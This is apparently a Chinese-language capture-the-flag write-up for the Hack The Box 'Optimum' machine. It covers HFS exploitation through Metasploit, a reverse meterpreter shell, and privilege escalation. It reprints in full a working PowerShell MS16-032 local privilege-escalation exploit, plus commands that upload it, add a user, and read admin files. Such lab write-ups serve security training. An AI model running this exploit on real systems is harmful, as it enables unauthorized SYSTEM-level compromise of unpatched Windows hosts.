Hack The Box —— Optimum
信息搜集
nmap
nmap -T4 -A -v 10.10.10.8
发现服务器只开了 80 端口，对应 hfs 服务，浏览器访问，发现 hfs 服务的版本号。
exploit-db
搜索相关漏洞，发现在 msf 上有对应的 exp
漏洞利用
msf 下使用 use exploit/windows/http/rejetto_hfs_exec ，并配置 meterpreter payload。
exploit 运行，成功反弹 meterpreter shell
sysinfo 上显示该系统是 64 位的，但是我们默认用的 meterpreter payload 是 32 位的，所以将 meterpreter 转移到 64 位的进程上，如 explorer.exe
直接查看当前目录，发现 user.txt ，type 一下 查看内容，提交即可。
此时，发现是非管理员权限，在 meterpreter 利用 getsystem 尝试提权，发现失败。
尝试用 msf 本地提权。
寻找可用的 exp，发现利用 ms16-032 可以针对 windows server 2012 。
但是在尝试的时候发现一直不成功，反弹的 shell 并不是 system 权限。
遂搜索该漏洞的利用脚本。
function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* The exploit is pretty reliable, however ~1/6 times it will say it succeeded
but not spawn a shell. Not sure what the issue is but just re-run and profit!
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
.PARAMETER Application
Specifies an Application to run.
.PARAMETER Commandline
Specifies Commandline, such as net user xxx xxx /add
.EXAMPLE
C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe
C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe -Commandline "/c net user 1 1 /add"
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $False, ParameterSetName = 'C:\Windows\System32\cmd.exe' )]
[string]
$Application,
[Parameter(Mandatory = $False)]
[string]
$Commandline
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
$StartupInfo.wShowWindow = 0;
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\notepad.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Trying thread handle: $Thread"
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
echo "[!] $Thread is a bad thread, moving on.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = [IntPtr]::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
# Create array for Threads & TID's
$ThreadArray = @()
$TidArray = @()
echo "[>] Duplicating CreateProcessWithLogonW handles.."
# Loop Get-ThreadHandle and collect thread handles with a valid TID
for ($i=0; $i -lt 500; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread # This is what we need!
}
}
}
if ($($ThreadArray.length) -eq 0) {
echo "[!] No valid thread handles were captured, exiting!"
Return
} else {
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
echo "`n[?] Thread handle list:"
$ThreadArray
}
echo "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
# Get handle to SYSTEM access token
Get-SystemToken
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
$StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
$StartupInfo.wShowWindow = 0;
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $Application,$Commandline,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
}
该 powershell 可以以管理员身份执行指定的命令。
先将该脚本上传到可以写入的目标机器的目录中：
upload Invoke-MS16-032.ps1 \Invoke-MS16-032.ps1
在 meterpreter 中 进入 shell ，然后进入 powershell 模式。
导入该模块： import-module .\Invoke-MS16-032.ps1
执行命令：
Invoke-MS16-032 -Application cmd.exe -commandline '/c dir C:\Users\Administrator > 1.txt'"
成功获取 Administrator 目录下的内容。
执行命令：
Invoke-MS16-032 -Application cmd.exe -commandline '/c type C:\Users\Administrator\Desktop\root.txt > 1.txt'
成功获取目标文件内容：
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